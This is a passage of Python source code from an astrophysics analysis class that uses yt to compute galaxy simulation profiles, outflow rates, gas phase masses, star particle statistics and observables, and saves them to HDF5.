self.dsname)\n self.current_time = self.ds.current_time.to(UNITS['Time'].units).value\n self.df = self.ds.all_data()\n\n # check for particles\n self._has_particles = False\n if ('io','particle_position_x') in self.ds.field_list:\n self._has_particles = True\n\n self.hdf5_filename = self.wdir + '/' + self.dsname + '_galaxy_data.h5'\n\n self._compute_virial_parameters()\n\n self._set_data_region_properties()\n self.species_list = util.species_from_fields(self.ds.field_list)\n\n # define some fields that will be used for automatic\n # computation of profiles when no user supplied field is given\n self._set_accumulation_fields()\n self._set_projection_fields()\n self._set_radiation_fields()\n\n self.particle_meta_data = {}\n self.gas_meta_data = {}\n self.meta_data = {}\n self.gas_profiles = {}\n self.particle_profiles = {}\n self.time_data = {}\n self.observables = {}\n\n self.construct_regions()\n\n self.total_quantities = {}\n self._total_quantities_calculated = False\n\n# self._has_boundary_mass_file, self.boundary_mass_flux =\\\n# process_boundary_flux(data = None, wdir = self.wdir)\n#\n# self._has_boundary_mass_file = os.path.isfile(self.wdir + \"filtered_boundary_mass_flux.dat\")\n#\n# if self._has_boundary_mass_file:\n# self.boundary_mass_flux = np.genfromtxt(self.wdir + \"filtered_boundary_mass_flux.dat\", names = True)\n\n self._load_boundary_mass_flux() # load directly from parameter file\n\n if os.path.isfile( self.hdf5_filename ):\n self.load()\n\n return\n\n def _compute_virial_parameters(self):\n \"\"\"\n Assuming standard cosmology and z = 0, compute virial mass\n and radius from input parameters. Burkert profile only\n \"\"\"\n r_s = self.ds.parameters['DiskGravityDarkMatterR'] * yt.units.Mpc\n r_s = r_s.to('kpc')\n\n rho_o = self.ds.parameters['DiskGravityDarkMatterDensity'] * yt.units.g / yt.units.cm**3\n\n self.M_vir, self.R_vir = \\\n dmprof.burkert_solve_virial(r_s, rho_o)\n\n return\n\n def load(self, filename = None, nocopy = False):\n \"\"\"\n Load the specified hdf5 file.\n \"\"\"\n if filename is None:\n filename = self.hdf5_filename\n else:\n self.hdf5_filename = filename\n\n if os.path.isfile(filename):\n if nocopy:\n return dd.io.load(self.hdf5_filename)\n else:\n self._output_data_dict = dd.io.load(self.hdf5_filename)\n self._map_output_to_class()\n\n else:\n print((\"No hdf5 output file exists at \" + filename))\n\n return\n\n def save(self, filename = None):\n \"\"\"\n Save all of the generated data to file using deepdish.\n This constructs a nested dictionary which is then outputted to file.\n \"\"\"\n if filename is None:\n filename = self.hdf5_filename\n else:\n self.hdf5_filename = filename\n\n self._map_class_to_output()\n\n dd.io.save(filename, self._output_data_dict)\n\n return\n\n def _map_class_to_output(self):\n \"\"\"\n Map the class parameter structure to the output dictionary\n \"\"\"\n if not hasattr(self, '_output_data_dict'):\n self._output_data_dict = {}\n\n self._output_data_dict['meta_data'] = self.meta_data\n self._output_data_dict['gas_meta_data'] = self.gas_meta_data\n self._output_data_dict['particle_meta_data'] = self.particle_meta_data\n self._output_data_dict['time_data'] = self.time_data\n self._output_data_dict['gas_profiles'] = self.gas_profiles\n self._output_data_dict['particle_profiles'] = self.particle_profiles\n self._output_data_dict['observables'] = self.observables\n\n return\n\n def _map_output_to_class(self):\n \"\"\"\n Analyzed data on disk is read in and stored to self._output_data_dict.\n Map this dictionary to the associated class parameters\n \"\"\"\n\n def _verify_and_add(x, name):\n if name in self._output_data_dict.keys():\n return self._output_data_dict[name]\n else:\n return x\n\n self.meta_data = _verify_and_add(self.meta_data, 'meta_data')\n self.gas_meta_data = _verify_and_add(self.gas_meta_data, 'gas_meta_data')\n self.particle_meta_data = _verify_and_add(self.particle_meta_data, 'particle_meta_data')\n self.time_data = _verify_and_add(self.time_data, 'time_data')\n self.gas_profiles = _verify_and_add(self.gas_profiles, 'gas_profiles')\n self.particle_profiles = _verify_and_add(self.particle_profiles, 'particle_profiles')\n self.observables = _verify_and_add(self.observables, 'observables')\n\n if 'R_vir' in self.meta_data.keys():\n self.R_vir = self.meta_data['R_vir']\n if 'M_vir' in self.meta_data.keys():\n self.M_vir = self.meta_data['M_vir']\n\n return\n\n def _update_data_structure(self):\n print(\"does nothing for now\")\n return\n\n def calculate_projected_disk_field(self, field, axis = 'z', **kwargs):\n \"\"\"\n Calculate the projected surface density of a given field.\n Examples:\n For total gas density:\n > galaxy.calculate_surface_density(('gas','Density'))\n For H2 density:\n > galaxy.calculate_surface_density(('gas','H2I_Density'))\n \"\"\"\n\n proj = ds.proj( field, axis, data_source = self.disk, **kwargs)\n\n # return raw set to handle elsewhere\n return proj\n\n def calculate_total_quantities(self, fields = None, *args, **kwargs):\n \"\"\"\n Computes and saves total quantities\n \"\"\"\n\n if fields is None:\n # calculate all\n fields = self._accumulation_fields\n\n for field in fields:\n self.total_quantities[field] = np.sum(self.df[field].to(FIELD_UNITS[field].units))\n\n self._total_quantities_calculated = True\n\n return\n\n def calculate_velocity_distributions(self):\n \"\"\"\n Compute dM / dv vs. v_r distributions (mass moving at certain velocity)\n outside the disk of the galaxy.\n \"\"\"\n\n # use the halo sphere. First compute this for ALL gas within the halo,\n # then do it again in the same bins as the outflow profiles\n self.gas_profiles['velocity'] = {}\n self.gas_profiles['velocity']['halo'] = {} # for the entire halo\n self.gas_profiles['velocity']['binned'] = {} # binned by radius - empty for now\n\n vbins = np.arange(-100.0, 1000.5, 5.0) * yt.units.km / yt.units.s\n self.gas_profiles['velocity']['vbins'] = vbins\n\n local_cr = self.cut_region\n not_disk = self.halo_sphere.cut_region(local_cr['not_disk'])\n\n # do this for the entire halo, everything except the disk\n self.gas_profiles['velocity']['halo'] = {}\n for k in CUT_REGION.keys(): # loop through all cut regions\n data = self.halo_sphere.cut_region(CUT_REGION[k] + \"&\" + local_cr['not_disk'] ) # phase + geometric cut\n test = self.halo_sphere.cut_region(CUT_REGION[k])\n test2 = self.halo_sphere.cut_region(local_cr['not_disk'])\n\n # loop over velocity bins\n hist = np.zeros(np.size(vbins) - 1)\n for i in np.arange(np.size(vbins) -1):\n v = data['velocity_spherical_radius'].to('km/s')\n hist[i] = np.sum( data['cell_mass'][(v < vbins[i+1]) * (v >= vbins[i])].to('Msun') )\n\n self.gas_profiles['velocity']['halo'][k] = hist\n\n # compute mass weighted statistics about both the inflow and outflow\n v = not_disk['velocity_spherical_radius'].to('km/s')\n m = not_disk['cell_mass'].to('Msun').value\n v_out = v[v>0] ; m_out = m[v>0]\n v_in = v[v<0] ; m_in = m[v<0]\n if np.size(v_out) <= 3:\n v_out = np.zeros(10); m_in = np.ones(10)\n if np.size(v_in) <= 3:\n v_in = np.zeros(10); m_in = np.ones(10)\n self.gas_profiles['velocity']['halo']['outflow_stats'] =\\\n util.compute_weighted_stats(v_out, m_out, return_dict = True)\n self.gas_profiles['velocity']['halo']['inflow_stats'] =\\\n util.compute_weighted_stats(v_in, m_in, return_dict = True)\n\n return\n\n def calculate_radiation_profiles(self, fields = None, mode = 'disk'):\n\n if not ('radiation' in self.gas_profiles.keys()):\n self.gas_profiles['radiation'] = {}\n if not (mode in self.gas_profiles['radiation'].keys()):\n self.gas_profiles['radiation'][mode] = {}\n\n # want to make radial profiles of G_o, Q_0, Q_1, F_LW, F_PE, Gamma_PE\n fields = [('gas','G_o'), ('gas','FUV_flux'), ('gas','LW_flux'),\n ('gas','Pe_heating_rate_masked'), ('gas','Q0_flux'), ('gas','Q1_flux')]\n\n midplane = self.ds.disk(self.disk.center, self.disk.field_parameters['normal'], self.disk.radius,\n 2.5 * np.min(self.disk['dx'].to('pc')))\n\n n_bins = np.ceil( self.disk.radius.to('pc').value / 5.0) # 5 pc bins\n profiles = yt.create_profile(midplane, 'radius', fields, n_bins = n_bins,\n weight_field = 'cell_volume', logs = {'radius':False})\n self.gas_profiles['radiation'][mode]['xbins'] = profiles.x_bins.to('pc').value\n\n for f in fields:\n self.gas_profiles['radiation'][mode][f[1]] = profiles[f]\n\n return self.gas_profiles['radiation'][mode]['xbins'], self.gas_profiles['radiation'][mode]\n\n def calculate_dMdt_profile(self, fields = None, mode = 'sphere', n_cell = 4,\n outflow = True, phase = None, *args, **kwargs):\n \"\"\"\n Returns the mass inflow or outflow rate as a function of radius. This can be used\n to compute mass loading factor by dividing by the current SFR.\n\n outflow == True (default) computes outflow rate (requiring that v > 0.0). False\n computes inflow rate (requiring that v < 0.0). If using a disk, v is v_z, but\n if using a sphere, v is v_r\n\n if no fields are provided, computes total mass flow rate and rate for\n all species.\n \"\"\"\n\n if fields is None:\n fields = self._accumulation_fields\n\n # set up bin values and data region\n xbins, xdata, data = self._get_bins_and_data(mode = mode)\n\n #\n\n # get velocity corresponding to outflow / inflow\n if mode == 'sphere' or mode == 'halo_sphere':\n velname = 'velocity_spherical_radius'\n else:\n velname = 'velocity_cylindrical_z'\n vel = data[velname].to(UNITS['Velocity'].units)\n\n profile = {}\n profile['mass_profile'] = {} # Bin up the total mass in outflowing material\n\n #\n # Following typical definitions, construct bins to be centered at\n # 0.25, 0.5, 0.75, 1.0, and 1.25 R_vir, with a width of 0.1 R_vir\n #\n\n center = np.arange(0.25, 1.30, 0.25) # in units of R_vir\n center = np.array([0.1, 0.2, 0.25, 0.5, 0.75, 1.0, 1.25]) # in units of R_Vir\n dL = 0.1 # in units of R_vir\n\n for field in fields:\n profile[field] = np.zeros(np.size(center))\n profile['mass_profile'][field] = np.zeros(np.size(center))\n\n # convert from r_vir to kpc\n center = (center * self.R_vir).to('kpc')\n dL = (dL * self.R_vir).to('kpc')\n\n# dx = n_cell * np.min(data['dx'].to(xdata.units))\n\n if outflow: # compute outflow\n v_filter = vel > 0.0\n else: # compute inflow\n v_filter = vel < 0.0\n\n if phase is None:\n phase_filter = (vel == vel)\n else:\n phase_filter = ISM_FILTER[phase](data)\n\n for i in np.arange(np.size(center)):\n # define the shell\n x_filter = ( xdata >= (center[i] - 0.5*dL)) * ( xdata < (center[i] + 0.5*dL))\n\n # filter out the data\n filter = x_filter * v_filter * phase_filter\n for field in fields:\n M = data[field].to(UNITS['Mass'].units)\n Mdot = np.sum( M[filter] * vel[filter] ) / dL\n Mdot = Mdot.to('Msun/yr')\n\n profile[field][i] = Mdot\n profile['mass_profile'][field][i] = np.sum(M[filter])\n\n #\n # save profiles\n #\n prof_type = 'outflow'\n if not outflow:\n prof_type = 'inflow'\n\n if not prof_type in self.gas_profiles.keys():\n self.gas_profiles[prof_type] = {}\n\n if not mode in self.gas_profiles[prof_type].keys():\n self.gas_profiles[prof_type][mode] = {}\n\n if not (phase is None):\n if not (phase in self.gas_profiles[prof_type][mode].keys()):\n self.gas_profiles[prof_type][mode][phase] = {}\n\n self.gas_profiles[prof_type][mode][phase].update(profile)\n else:\n\n self.gas_profiles[prof_type][mode].update( profile )\n self.gas_profiles[prof_type][mode]['centers'] = center\n self.gas_profiles[prof_type][mode]['centers_rvir'] = (center.to('kpc') / self.R_vir.to('kpc')).value\n self.gas_profiles[prof_type][mode]['dL'] = dL\n self.gas_profiles[prof_type][mode]['dL_rvir'] = (dL.to('kpc')/self.R_vir.to('kpc')).value\n\n return xbins, center, profile\n\n def _get_bins_and_data(self, mode = None, axis='z'):\n\n if mode == 'sphere' or mode == 'halo_sphere':\n xbins = self.rbins_halo_sphere\n xdata = self.halo_sphere['spherical_radius'].to(UNITS[\"Length\"].units)\n data = self.halo_sphere\n\n elif mode == 'disk':\n if axis == 'z':\n xbins = self.zbins_disk\n xdata = (self.disk['z'] - self.disk.center[2]).to(UNITS[\"Length\"].units)\n\n\n elif axis == 'r':\n xbins = self.rbins_disk\n xdata = self.disk['cylindrical_r'].to(UNITS[\"Length\"].units)\n\n data = self.disk\n\n elif mode == 'large_disk':\n if axis == 'z':\n xbins = self.zbins_large_disk\n xdata = (self.large_disk['z'] - self.large_disk.center[2]).to(UNITS[\"Length\"].units)\n elif axis == 'r':\n xbins = self.rbins_large_disk\n xdata = self.large_disk['cylindrical_r'].to(UNITS[\"Length\"].units)\n\n data = self.large_disk\n\n else:\n raise ValueError(\"Must choose disk, large_disk, or sphere for region\")\n\n return xbins, xdata, data\n\n def calculate_mass_fraction_profile(self, fields = None, mode = 'sphere', axis = 'r', *args, **kwargs):\n \"\"\"\n Computes fractional radial mass profiles for all species. Can be easily\n used to make cumulative profiles\n \"\"\"\n\n #\n # check if profiles exist already and don't recalculate unless ordered to\n #\n if fields is None:\n fields = self._accumulation_fields\n\n rbins, centers, profiles = self.calculate_mass_profile(fields = fields, mode = mode, axis = axis)\n\n compute_total_fields = [x for x in fields if x not in self.total_quantities]\n self.calculate_total_quantities(fields = compute_total_fields)\n\n for field in fields:\n profiles[field] = profiles[field] / self.total_quantities[field]\n\n # save fractional profiles here?\n\n return rbins, centers, profiles\n\n def calculate_mass_profile(self, fields = None, mode = 'sphere', axis = 'r', *args, **kwargs):\n \"\"\"\n Compute mass fraction of given species contained within spherical\n bins out to the halo radius. Used to estimate metal retention fractions\n of given species.\n \"\"\"\n\n if fields is None:\n fields = self._accumulation_fields\n\n xbins, xdata, data = self._get_bins_and_data(mode, axis)\n\n profiles = {}\n\n for field in fields:\n profiles[field] = np.zeros(np.size(xbins)-1)\n\n for i in np.arange(np.size(xbins)-1):\n x_filter = (xdata >= xbins[i]) * (xdata < xbins[i+1])\n\n for field in fields:\n profiles[field][i] = np.sum(\\\n data[field][x_filter].to(FIELD_UNITS[field].units))\n\n centers = 0.5 * (xbins[1:] + xbins[:-1])\n\n #\n # save and store profiles here?\n #\n prof_type = 'accumulation'\n if not prof_type in self.gas_profiles.keys():\n self.gas_profiles[prof_type] = {}\n\n if not mode in self.gas_profiles[prof_type].keys():\n self.gas_profiles[prof_type][mode] = {}\n\n self.gas_profiles[prof_type][mode].update( profiles )\n self.gas_profiles[prof_type][mode]['xbins'] = xbins\n\n return xbins, centers, profiles\n\n def compute_observables(self, young_star = 10.0 * yt.units.Myr):\n \"\"\"\n Does some computing of observational diagnostics that would be\n important to check. When possible, does this using various definitions of\n how one might compute the observable.\n \"\"\"\n #\n # First, compute the surface densities one would want to compare\n # against schmidt law.\n #\n # Following Roychowdhury et. al. 2017, 2014, etc., define a \"SF region\"\n # rather than the whole galaxy. For our sake, require this to be at least 100 pc\n age = (self.ds.current_time - self.df['creation_time'])\n r_sf = self.df['particle_position_cylindrical_radius'][ age <= young_star]\n if np.size(r_sf) <= 5:\n r_sf = self.df['particle_position_cylindrical_radius'][ age <= young_star*2 ]\n\n if np.size(r_sf) == 0: # no stars formed !!!\n keys = ['r_sf','A_sf','A','SD_HI_sf','SD_gas_sf','SD_gas_sf_obs','SD_HI',\n 'SD_gas','SD_gas_obs','SD_H2_sf','SD_H2','SD_SFR','SD_SFR_sf','SD_stellar','SD_stellar_sf']\n for k in keys:\n self.observables[k] = 0.0\n else:\n r_sf = np.max(r_sf.to('pc').value) * yt.units.pc\n if r_sf < 100.0 * yt.units.pc:\n r_sf = 100*yt.units.pc\n\n sf_disk = self.ds.disk([0.5,0.5,0.5],[0,0,1], r_sf, self.disk_region['height'])\n A = (np.pi * r_sf * r_sf).to(\"pc**2\")\n A_disk = (np.pi * self.disk.radius * self.disk.radius).to('pc**2')\n\n self.observables['r_sf'] = r_sf * 1.0\n self.observables['A_sf'] = A * 1.0\n self.observables['A'] = A_disk * 1.0\n self.observables['SD_HI_sf' ] = np.sum( sf_disk['H_p0_mass'].to('Msun') ) / A\n self.observables['SD_gas_sf'] = np.sum( sf_disk['cell_mass'].to('Msun') ) / A\n self.observables['SD_gas_sf_obs'] = self.observables['SD_HI_sf'] * 1.34\n self.observables['SD_HI'] = np.sum(self.disk['H_p0_mass'].to('Msun')) / A_disk\n self.observables['SD_gas'] = np.sum(self.disk['cell_mass'].to('Msun')) / A_disk\n self.observables['SD_gas_obs'] = self.observables['SD_HI'] * 1.34\n self.observables['SD_H2_sf'] = np.sum( (sf_disk['H2_p0_mass'] + sf_disk['H2_p1_mass']).to('Msun'))/A\n self.observables['SD_H2'] = np.sum( (self.disk['H2_p0_mass'] + self.disk['H2_p1_mass']).to('Msun'))/A_disk\n\n self.observables['SD_SFR'] = self.meta_data['SFR'] / A_disk.to(\"kpc**2\")\n self.observables['SD_SFR_sf'] = self.meta_data['SFR'] / A.to(\"kpc**2\")\n\n self.observables['SD_stellar'] = self.meta_data['M_star'] / A_disk.to('kpc**2')\n self.observables['SD_stellar_sf'] = self.meta_data['M_star'] / A.to('kpc**2')\n\n\n return self.observables\n\n def calculate_surface_density_profile(self, fields = None, data_source = None, rbins = None,\n *args, **kwargs):\n \"\"\"\n Computes a 1D surface density profile in a cylindrical region of the galaxy\n using already set disk selection region.\n \"\"\"\n\n if fields is None:\n fields = self._projection_fields\n\n if not isinstance(fields, Iterable):\n fields = [fields]\n\n if data_source is None:\n data_source = self.disk\n\n if rbins is None:\n rbins = self.rbins_disk\n\n # project the fields\n proj = self.ds.proj(fields, 'z', data_source = data_source, **kwargs)\n\n r = np.sqrt(( (proj['px']-data_source.center[0])**2 + (data_source.center[1] -proj['py'])**2)).to('pc')\n A = (proj['pdx']*proj['pdy']).to('pc**2')\n\n profiles = {}\n\n # construct the profiles\n for field in fields:\n profiles[field] = np.zeros(np.size(rbins) - 1)\n\n for i in np.arange(np.size(rbins)-1):\n radial_filter = (r >= rbins[i]) * (r < rbins[i+1])\n\n annulus_area = 2.0 * np.pi * (rbins[i+1]**2 - rbins[i]**2)\n\n if np.size(proj['dx'][radial_filter]) > 0:\n\n for field in fields:\n\n projection = np.array(proj[field][radial_filter].to('Msun/pc**2'))\n\n profiles[field][i] =\\\n (np.sum(projection * np.array(A[radial_filter]))\\\n / annulus_area.value) * yt.units.Msun / yt.units.pc**2\n\n centers = 0.5 * (rbins[:-1] + rbins[1:])\n\n #\n # save profiles\n #\n prof_type = 'surface_density'\n mode = 'disk'\n if not prof_type in self.gas_profiles.keys():\n self.gas_profiles[prof_type] = {}\n\n if not mode in self.gas_profiles[prof_type].keys():\n self.gas_profiles[prof_type][mode] = {}\n\n self.gas_profiles[prof_type][mode].update( profiles )\n self.gas_profiles[prof_type][mode]['xbins'] = rbins\n\n\n return rbins, centers, profiles\n\n# def compute_radiation_profiles(self, fields = None, mode = 'disk', axis = 'r'):\n#\n# if fields is None:\n# fields = self._radiation_fields()\n#\n# xbins, xdata, data = self._get__bins_and_data(mode, axis)\n#\n# prof = {}\n#\n# return xbins, centers, prof\n\n def compute_all_meta_data(self):\n \"\"\"\n Wrapper to compute all meta data\n \"\"\"\n\n self.compute_meta_data()\n self.compute_all_particle_profiles()\n self.compute_particle_meta_data()\n self.compute_gas_meta_data()\n self.compute_time_evolution()\n self.compute_observables()\n\n return\n\n def compute_particle_meta_data(self):\n \"\"\"\n Computes and saves all particle meta data for this time step.\n This is:\n 1) Total mass, and total mass of each particle type\n 2) Total number, and number of each particle type\n 3) Number of each: core collapse, SNIa, AGB, direct collapse\n 4)\n\n \"\"\"\n\n MS_stars = pt.main_sequence(self.ds, self.df)\n WD_stars = pt.white_dwarfs(self.ds, self.df)\n SNII = pt.core_collapse(self.ds, self.df)\n SNIa = pt.snIa(self.ds, self.df)\n\n particle_mass = (self.df['birth_mass'].value *\n yt.units.Msun).to(UNITS['Mass'].units)\n m = (self.df['particle_mass'].to(UNITS['Mass'].units))\n\n self.particle_meta_data['t_first_star'] = np.min( self.df['creation_time'].to(UNITS['Time'].units))\n\n if 'GalaxySimulationInitialStellarDist' in self.ds.parameters:\n if self.ds.parameters['GalaxySimulationInitialStellarDist'] > 0:\n ct = self.df['creation_time'].to('Myr')\n if np.size(ct[ct>1.0]) > 0:\n self.particle_meta_data['t_first_star'] = np.min( ct[ct > 1.0].to(UNITS['Time'].units))\n\n\n self.particle_meta_data['total_mass'] = np.sum(m)\n self.particle_meta_data['total_mass_MS'] = np.sum(m[MS_stars])\n self.particle_meta_data['total_birth_mass'] = np.sum(particle_mass)\n self.particle_meta_data['total_birth_mass_MS'] = np.sum(particle_mass[MS_stars])\n\n self.meta_data['M_star'] = (self.particle_meta_data['total_mass_MS'] * 1.0)\n\n self.particle_meta_data['total_number'] = np.size(particle_mass)\n self.particle_meta_data['total_number_MS'] = np.size(particle_mass[MS_stars])\n\n self.particle_meta_data['total_mass_WD'] = np.sum(particle_mass[WD_stars])\n self.particle_meta_data['total_number_WD'] = np.size(particle_mass[WD_stars])\n\n self.particle_meta_data['total_number_SNII'] = np.size(particle_mass[SNII])\n self.particle_meta_data['total_number_SNIa'] = np.size(particle_mass[SNIa])\n\n self.particle_meta_data['N_OTRAD'] = np.size(particle_mass[(particle_mass>self.ds.parameters['IndividualStarOTRadiationMass'])*\\\n (MS_stars)])\n self.particle_meta_data['N_ionizing'] = np.size(particle_mass[(particle_mass>self.ds.parameters['IndividualStarIonizingRadiationMinimumMass'])*\\\n (MS_stars)])\n\n self.particle_meta_data['metallicity_stars'] = util.compute_stats(self.df['metallicity_fraction'])\n # compute theoretical total IMF and 'observed' IMF of just MS stars\n self.particle_meta_data['IMF_obs'] = pa.compute_IMF(self.ds, self.df, mode='mass', bins=25)\n self.particle_meta_data['IMF_birth_mass'] = pa.compute_IMF(self.ds, self.df, mode='birth_mass', bins=25)\n\n self.compute_half_light_radius()\n\n # in principle store abundance information here, but might just leave this as separate\n\n return\n\n def compute_gas_meta_data(self):\n\n self.gas_meta_data['masses'] = self.compute_gas_sequestering()\n\n # save individual specise masses from non-equillibrium chemistry\n for e in ['HI','HII','HeI','HeII','HeIII','H2I','H2II','HM']:\n self.meta_data['M_' + e] = np.sum(self.disk[e + '_Density'] *\\\n self.disk['cell_volume']).to(UNITS['Mass'].units)\n\n # total masses for species where ionization statest are tracked\n self.meta_data['M_H_total'] = self.meta_data['M_HI'] + self.meta_data['M_HII'] + self.meta_data['M_H2I'] +\\\n self.meta_data['M_H2II'] + self.meta_data['M_HM']\n self.meta_data['M_He_total'] = self.meta_data['M_HeI'] + self.meta_data['M_HeII'] + self.meta_data['M_HeIII']\n self.meta_data['M_H2_total'] = self.meta_data['M_H2I'] + self.meta_data['M_H2II']\n\n self.meta_data['M_gas'] = np.sum((self.disk['cell_mass']).to(UNITS['Mass'].units))\n self.meta_data['Z_avg'] = np.sum( (self.disk[('gas','Metal_Density')]*\\\n self.disk['cell_volume']).to(UNITS['Mass'].units))/\\\n self.meta_data['M_gas']\n\n #\n # compute total mass in disk for all species\n #\n for e in self.species_list:\n fname = e + '_Mass'\n self.meta_data['M_' + e] = np.sum(self.disk[fname]).to(UNITS[\"Mass\"].units)\n\n\n #\n # compute the volume occupied by each phase in the disk\n #\n cut_region_names = ['Molecular', 'CNM', 'WNM', 'WIM', 'HIM']\n self.gas_meta_data['volume_fractions'] = {}\n self.gas_meta_data['mass_fractions'] = {}\n\n total_volume = np.sum(self.disk['cell_volume'].to('cm**(3)'))\n for crtype in cut_region_names:\n v = self.disk.cut_region(ISM[crtype])['cell_volume'].to('cm**(3)')\n self.gas_meta_data['volume_fractions'][crtype] = np.sum(v) / total_volume\n\n self.gas_meta_data['mass_fractions'][crtype] = self.gas_meta_data['masses'][crtype]['Total']/\\\n self.gas_meta_data['masses']['Disk']['Total']\n\n self.gas_meta_data['volume_fractions']['Total'] = total_volume\n\n return\n\n\n def compute_gas_profiles(self):\n\n junk = self.calculate_radiation_profiles()\n junk = self.calculate_dMdt_profile() # mass outflow rate\n junk = self.calculate_dMdt_profile(outflow=False) # mass inflow rate\n for phase in ['CNM','WNM','WIM','HIM']:\n junk = self.calculate_dMdt_profile(phase = phase)\n junk = self.calculate_dMdt_profile(phase = phase, outflow = False)\n junk = self.calculate_surface_density_profile()\n junk = self.calculate_mass_profile(mode = 'disk')\n junk = self.calculate_mass_profile(mode = 'sphere')\n\n return\n\n def compute_gas_sequestering(self):\n \"\"\"\n Computes the sequestering of gas into various categ ories (geometric and phase) for\n all species as well as the total gas mass. Returns a dictionary of dictionaries\n containing all of this information\n \"\"\"\n\n mdict = {}\n\n cut_region_names = ['Molecular', 'CNM', 'WNM', 'WIM', 'HIM']\n fields = {'H':'H_total_mass','He':'He_total_mass','Total':'cell_mass','Metals':'metal_mass', 'H2' : 'H2_mass',\n 'HI':'H_p0_mass', 'HII': 'H_p1_mass'}\n\n def _sum_tracked_metals(d): # sum tracked metals species only\n return np.sum([d[k] for k in d.keys() if (not any([k in ['Metals','Total','H','H2','He','HI','HeI','HeII','HeIII','H2I','H2II','HII']]))])\n\n # do this for the disk ISM regions\n for crtype in cut_region_names:\n mdict[crtype] = {}\n for s in fields:\n mdict[crtype][s] = np.sum(self.disk.cut_region( ISM[crtype])[fields[s]]).to('Msun')\n\n for s in self.species_list:\n mdict[crtype][s] = np.sum(self.disk.cut_region( ISM[crtype])[('gas',s + '_Mass')]).to('Msun')\n mdict[crtype]['Total Tracked Metals'] = _sum_tracked_metals(mdict[crtype])\n\n # now do this for the whole disk\n mdict['Disk'] = {}\n for s in fields:\n mdict['Disk'][s] = np.sum(self.disk[fields[s]]).to('Msun')\n for s in self.species_list:\n mdict['Disk'][s] = np.sum(self.disk[('gas',s + '_Mass')]).to('Msun')\n mdict['Disk']['Total Tracked Metals'] = _sum_tracked_metals(mdict['Disk'])\n\n # now do this for the halo\n mdict['Halo'] = {}\n for s in fields:\n #print s\n #print fields[s]\n #print self.halo_sphere[fields[s]]\n mdict['Halo'][s] = np.sum(self.halo_sphere[fields[s]]).to('Msun')\n for s in self.species_list:\n mdict['Halo'][s] = np.sum(self.halo_sphere[('gas',s + '_Mass')]).to('Msun')\n mdict['Halo']['Total Tracked Metals'] = _sum_tracked_metals(mdict['Halo'])\n\n # now do this for full box\n mdict['FullBox'] = {}\n for s in fields:\n mdict['FullBox'][s] = np.sum(self.df[fields[s]]).to('Msun')\n for s in self.species_list:\n mdict['FullBox'][s] = np.sum(self.df[('gas', s + '_Mass')]).to('Msun')\n mdict['FullBox']['Total Tracked Metals'] = _sum_tracked_metals(mdict['FullBox'])\n\n # now we need to do some subtraction of the fields\n mdict['OutsideHalo'] = {}\n for s in list(fields.keys()) + self.species_list + ['Total Tracked Metals']:\n mdict['OutsideHalo'][s] = mdict['FullBox'][s] - mdict['Halo'][s]\n mdict['Halo'][s] = mdict['Halo'][s] - mdict['Disk'][s]\n\n # now we compute the gravitationally bound gas IF potential is present\n if 'PotentialField' in self.ds.field_list or ('enzo','GravPotential') in self.ds.field_list:\n mdict['GravBound'] = {}\n for s in fields:\n mdict['GravBound'][s] = np.sum( self.ds.cut_region(self.df, \"obj[('gas','gravitationally_bound')] > 0\" )[fields[s]]).to('Msun')\n for s in self.species_list:\n mdict['GravBound'][s] = np.sum(self.ds.cut_region(self.df, \"obj[('gas','gravitationally_bound')] > 0\")[('gas', s + '_Mass')]).to('Msun')\n mdict['GravBound']['Total Tracked Metals'] = _sum_tracked_metals(mdict['GravBound'])\n\n # and finally add up the mass in stars\n mdict['stars'] = {}\n for s in ['H','He'] + self.species_list:\n if self._has_particles and ('io','particle_' + s + '_fraction') in self.ds.derived_field_list:\n mdict['stars'][s] = np.sum( (self.df['birth_mass'].value *\n self.df['particle_' + s + '_fraction'])[self.df['particle_type'] == 11])\n else:\n mdict['stars'][s] = 0.0\n mdict['stars']['Total Tracked Metals'] = _sum_tracked_metals(mdict['stars'])\n\n mdict['OutsideBox'] = {}\n# if self._has_boundary_mass_file:\n# index = np.argmin( np.abs(self.current_time - self.boundary_mass_flux['Time']) )\n# diff = np.abs(self.boundary_mass_flux['Time'][index] - self.current_time)\n# if diff > 1.0:\n# print \"WARNING: Nearest boundary mass flux data point is > 1 Myr from current simulation time\"\n# print \"T_now = %5.5E T_file = %5.5E diff = %5.5E\"%(self.current_time, self.boundary_mass_flux['Time'][index], diff)\n#\n#\n# if np.size(index) > 1:\n# index = index[0]\n#\n for s in self.species_list:\n mdict['OutsideBox'][s] = self.boundary_mass_flux[s + '_Density'] # [index]\n\n _fields = ['HI_Density','HII_Density','H2I_Density','H2II_Density','HM_Density']\n# mdict['OutsideBox']['H'] = np.sum([ self.boundary_mass_flux[field][index] for field in _fields])\n mdict['OutsideBox']['H'] = np.sum([ self.boundary_mass_flux[field] for field in _fields])\n _fields = ['HeI_Density','HeII_Density','HeIII_Density']\n# mdict['OutsideBox']['He'] = np.sum([ self.boundary_mass_flux[field][index] for field in _fields])\n mdict['OutsideBox']['He'] = np.sum([self.boundary_mass_flux[field] for field in _fields])\n mdict['OutsideBox']['Metals'] = self.boundary_mass_flux['Metal_Density'] # [index]\n# else:\n# for s in ['H','He','Metals'] + self.species_list:\n# mdict['OutsideBox'][s] = 0.0\n mdict['OutsideBox']['Total Tracked Metals'] = _sum_tracked_metals(mdict['OutsideBox'])\n\n if self._has_particles:\n mdict['stars']['metals'] = np.sum( (self.df['birth_mass'].value * self.df['metallicity_fraction'])[self.df['particle_type'] == 11])\n else:\n mdict['stars']['metals'] = 0.0\n\n self.gas_sequestering = mdict\n return mdict\n\n @property\n def fractional_gas_sequestering(self):\n if not hasattr(self, 'gas_sequestering'):\n discard = self.compute_gas_sequestering()\n\n fields = list(self.gas_sequestering['Disk'].keys())\n x = copy.deepcopy(self.gas_sequestering)\n for region in self.gas_sequestering.keys():\n for s in fields:\n x[region][s] /= self.gas_sequestering['FullBox'][s]\n\n return x\n\n def compute_meta_data(self):\n \"\"\"\n Computes general meta data information and stores it as a\n dictionary. Really should just be looking into parameter file\n \"\"\"\n\n self.meta_data['Time'] = self.ds.current_time.to(UNITS['Time'].units)\n self.meta_data['dx'] = np.min(self.df['dx'].to(UNITS['Length'].units))\n\n return\n\n def compute_time_evolution(self):\n \"\"\"\n Computes current SFR, SNR, and SFH from particles\n \"\"\"\n\n if not hasattr(self, 'time_data'):\n self.time_data = {}\n\n #\n # Make a set of SFR and SNR evolutions with default bin spacing (10 Myr)\n #\n # x is temp dummy variable\n self.time_data['time'], self.time_data['SFR'] = pa.sfrFromParticles(self.ds, self.df)\n x, self.time_data['SFH'] = pa.sfhFromParticles(self.ds, self.df, 